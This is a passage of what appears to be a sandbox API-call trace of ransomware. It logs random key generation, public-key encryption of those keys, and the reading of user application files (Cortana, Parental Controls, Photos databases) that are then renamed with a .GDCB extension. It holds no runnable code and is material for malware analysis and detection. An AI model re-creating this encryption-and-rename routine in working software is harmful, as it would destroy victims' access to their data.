phKey=0x285d4b8*=0x50d2590) returned 1 [0228.481] CryptGetKeyParam (in: hKey=0x50d2590, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0228.481] CryptEncrypt (in: hKey=0x50d2590, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7c50000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x7c50000*, pdwDataLen=0x285d630*=0x100) returned 1 [0228.482] GetLastError () returned 0x0 [0228.482] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0228.482] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AppData\\Indexed DB\\IndexedDB.edb" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\appdata\\indexed db\\indexeddb.edb"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x528 [0228.483] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x7c60000 [0228.485] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x7c70000 [0228.487] ReadFile (in: hFile=0x528, lpBuffer=0x7c70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x7c70000*, lpNumberOfBytesRead=0x285d670*=0x100000, lpOverlapped=0x0) returned 1 [0228.519] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x7d80000 [0229.901] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AppData\\Indexed DB\\IndexedDB.edb" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\appdata\\indexed db\\indexeddb.edb"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AppData\\Indexed DB\\IndexedDB.edb.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\appdata\\indexed db\\indexeddb.edb.gdcb")) returned 1 [0229.910] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4760) returned 1 [0229.912] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0229.913] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0229.913] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d89c | out: pbBuffer=0x285d89c) returned 1 [0229.913] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0229.913] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4e48) returned 1 [0229.915] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0229.916] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0229.916] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d868 | out: pbBuffer=0x285d868) returned 1 [0229.916] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0229.916] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4980) returned 1 [0229.919] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x6485980) returned 1 [0229.919] CryptGetKeyParam (in: hKey=0x6485980, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0229.919] CryptEncrypt (in: hKey=0x6485980, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7c40000*, pdwDataLen=0x285d8b4*=0xc8, dwBufLen=0x800 | out: pbData=0x7c40000*, pdwDataLen=0x285d8b4*=0x100) returned 1 [0229.919] GetLastError () returned 0x0 [0229.919] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0229.919] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4760) returned 1 [0229.921] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x6487f00) returned 1 [0229.921] CryptGetKeyParam (in: hKey=0x6487f00, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0229.921] CryptEncrypt (in: hKey=0x6487f00, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7c50000*, pdwDataLen=0x285d8b8*=0xc8, dwBufLen=0x800 | out: pbData=0x7c50000*, pdwDataLen=0x285d8b8*=0x100) returned 1 [0229.921] GetLastError () returned 0x0 [0229.921] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0229.921] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\speech_onecorereg.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\speech_onecorereg.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0229.930] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4e48) returned 1 [0229.932] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0229.933] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0229.933] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d89c | out: pbBuffer=0x285d89c) returned 1 [0229.934] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0229.934] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4760) returned 1 [0229.935] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0229.936] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0229.936] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d868 | out: pbBuffer=0x285d868) returned 1 [0229.936] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0229.937] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4760) returned 1 [0229.939] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x5a4d98) returned 1 [0229.939] CryptGetKeyParam (in: hKey=0x5a4d98, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0229.939] CryptEncrypt (in: hKey=0x5a4d98, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7c60000*, pdwDataLen=0x285d8b4*=0xc8, dwBufLen=0x800 | out: pbData=0x7c60000*, pdwDataLen=0x285d8b4*=0x100) returned 1 [0229.940] GetLastError () returned 0x0 [0229.940] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0229.940] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4760) returned 1 [0229.942] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x50d25d0) returned 1 [0229.942] CryptGetKeyParam (in: hKey=0x50d25d0, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0229.942] CryptEncrypt (in: hKey=0x50d25d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7c70000*, pdwDataLen=0x285d8b8*=0xc8, dwBufLen=0x800 | out: pbData=0x7c70000*, pdwDataLen=0x285d8b8*=0x100) returned 1 [0229.942] GetLastError () returned 0x0 [0229.942] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0229.942] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0230.003] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4760) returned 1 [0230.005] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0230.006] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0230.008] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d89c | out: pbBuffer=0x285d89c) returned 1 [0230.008] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0230.008] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4980) returned 1 [0230.010] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0230.011] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0230.012] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d868 | out: pbBuffer=0x285d868) returned 1 [0230.012] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0230.012] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4760) returned 1 [0230.018] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x6488ac0) returned 1 [0230.018] CryptGetKeyParam (in: hKey=0x6488ac0, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0230.018] CryptEncrypt (in: hKey=0x6488ac0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7c80000*, pdwDataLen=0x285d8b4*=0xc8, dwBufLen=0x800 | out: pbData=0x7c80000*, pdwDataLen=0x285d8b4*=0x100) returned 1 [0230.018] GetLastError () returned 0x0 [0230.018] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0230.018] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4760) returned 1 [0230.025] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x659f4f8) returned 1 [0230.025] CryptGetKeyParam (in: hKey=0x659f4f8, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0230.025] CryptEncrypt (in: hKey=0x659f4f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7c90000*, pdwDataLen=0x285d8b8*=0xc8, dwBufLen=0x800 | out: pbData=0x7c90000*, pdwDataLen=0x285d8b8*=0x100) returned 1 [0230.025] GetLastError () returned 0x0 [0230.025] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0230.025] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.ParentalControls_cw5n1h2txyewy\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.parentalcontrols_cw5n1h2txyewy\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x50c [0230.030] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x7ca0000 [0230.032] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x7cb0000 [0230.033] ReadFile (in: hFile=0x50c, lpBuffer=0x7cb0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d8f8, lpOverlapped=0x0 | out: lpBuffer=0x7cb0000*, lpNumberOfBytesRead=0x285d8f8*=0x2000, lpOverlapped=0x0) returned 1 [0230.092] VirtualAlloc (lpAddress=0x0, dwSize=0x2000, flAllocationType=0x3000, flProtect=0x4) returned 0x7dc0000 [0230.097] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.ParentalControls_cw5n1h2txyewy\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.parentalcontrols_cw5n1h2txyewy\\settings\\settings.dat"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.ParentalControls_cw5n1h2txyewy\\Settings\\settings.dat.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.parentalcontrols_cw5n1h2txyewy\\settings\\settings.dat.gdcb")) returned 1 [0230.135] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4980) returned 1 [0230.137] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0230.138] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0230.138] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d89c | out: pbBuffer=0x285d89c) returned 1 [0230.138] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0230.138] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4760) returned 1 [0230.140] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0230.141] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0230.141] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d868 | out: pbBuffer=0x285d868) returned 1 [0230.141] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0230.141] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4760) returned 1 [0230.143] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x659f3f8) returned 1 [0230.143] CryptGetKeyParam (in: hKey=0x659f3f8, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0230.143] CryptEncrypt (in: hKey=0x659f3f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7c80000*, pdwDataLen=0x285d8b4*=0xc8, dwBufLen=0x800 | out: pbData=0x7c80000*, pdwDataLen=0x285d8b4*=0x100) returned 1 [0230.144] GetLastError () returned 0x0 [0230.144] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0230.144] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4760) returned 1 [0230.145] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x659f438) returned 1 [0230.146] CryptGetKeyParam (in: hKey=0x659f438, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0230.146] CryptEncrypt (in: hKey=0x659f438, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7c90000*, pdwDataLen=0x285d8b8*=0xc8, dwBufLen=0x800 | out: pbData=0x7c90000*, pdwDataLen=0x285d8b8*=0x100) returned 1 [0230.146] GetLastError () returned 0x0 [0230.146] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0230.146] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Photos_8wekyb3d8bbwe\\LocalState\\MediaDb.v1.sqlite" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.photos_8wekyb3d8bbwe\\localstate\\mediadb.v1.sqlite"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x50c [0230.147] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x7ca0000 [0230.149] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x7cb0000 [0230.151] ReadFile (in: hFile=0x50c, lpBuffer=0x7cb0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d8f8, lpOverlapped=0x0 | out: lpBuffer=0x7cb0000*, lpNumberOfBytesRead=0x285d8f8*=0x1000, lpOverlapped=0x0) returned 1 [0230.161] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x4) returned 0x7dc0000 [0230.166] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Photos_8wekyb3d8bbwe\\LocalState\\MediaDb.v1.sqlite" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.photos_8wekyb3d8bbwe\\localstate\\mediadb.v1.sqlite"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Photos_8wekyb3d8bbwe\\LocalState\\MediaDb.v1.sqlite.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.photos_8wekyb3d8bbwe\\localstate\\mediadb.v1.sqlite.gdcb")) returned 1 [0230.170] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4e48) returned 1 [0230.172] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0230.174] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0230.174] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d89c | out: pbBuffer=0x285d89c) returned 1 [0230.174] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0230.174] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4e48) returned 1 [0230.176] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0230.177] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0230.177] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d868 | out: pbBuffer=0x285d868) returned 1 [0230.177] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0230.177] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4760) returned 1 [0230.180] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x659f678) returned 1 [0230.180] CryptGetKeyParam (in: hKey=0x659f678, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0230.180] CryptEncrypt (in: hKey=0x659f678, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7c80000*, pdwDataLen=0x285d8b4*=0xc8, dwBufLen=0x800 | out: pbData=0x7c80000*, pdwDataLen=0x285d8b4*=0x100) returned 1 [0230.180] GetLastError () returned 0x0 [0230.180] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0230.180] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4760) returned 1 [0230.182] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x659f778) returned 1 [0230.182] CryptGetKeyParam (in: hKey=0x659f778, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0230.182] CryptEncrypt (in: hKey=0x659f778, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7c90000*, pdwDataLen=0x285d8b8*=0xc8, dwBufLen=0x800 | out: pbData=0x7c90000*, pdwDataLen=0x285d8b8*=0x100) returned 1 [0230.182] GetLastError () returned 0x0 [0230.182] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0230.182] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Photos_8wekyb3d8bbwe\\LocalState\\MediaDb.v1.sqlite-shm" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.photos_8wekyb3d8bbwe\\localstate\\mediadb.v1.sqlite-shm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x50c [0230.184] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x7ca0000 [0230.186] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x7cb0000 [0230.187] ReadFile (in: hFile=0x50c, lpBuffer=0x7cb0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d8f8, lpOverlapped=0x0 | out: lpBuffer=0x7cb0000*, lpNumberOfBytesRead=0x285d8f8*=0x8000, lpOverlapped=0x0) returned 1 [0230.231] VirtualAlloc (lpAddress=0x0, dwSize=0x8000, flAllocationType=0x3000, flProtect=0x4) returned 0x7dc0000 [0230.239] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Photos_8wekyb3d8bbwe\\LocalState\\MediaDb.v1.sqlite-shm" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.photos_8wekyb3d8bbwe\\localstate\\mediadb.v1.sqlite-shm"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Photos_8wekyb3d8bbwe\\LocalState\\MediaDb.v1.sqlite-shm.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.photos_8wekyb3d8bbwe\\localstate\\mediadb.v1.sqlite-shm.gdcb")) returned 1 [0230.243] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4e48) returned 1 [0230.246] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0230.247] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0230.247] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d89c | out: pbBuffer=0x285d89c) returned 1 [0230.247] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0230.247] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4760) returned 1 [0230.249] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0230.252] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0230.254] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d868 | out: 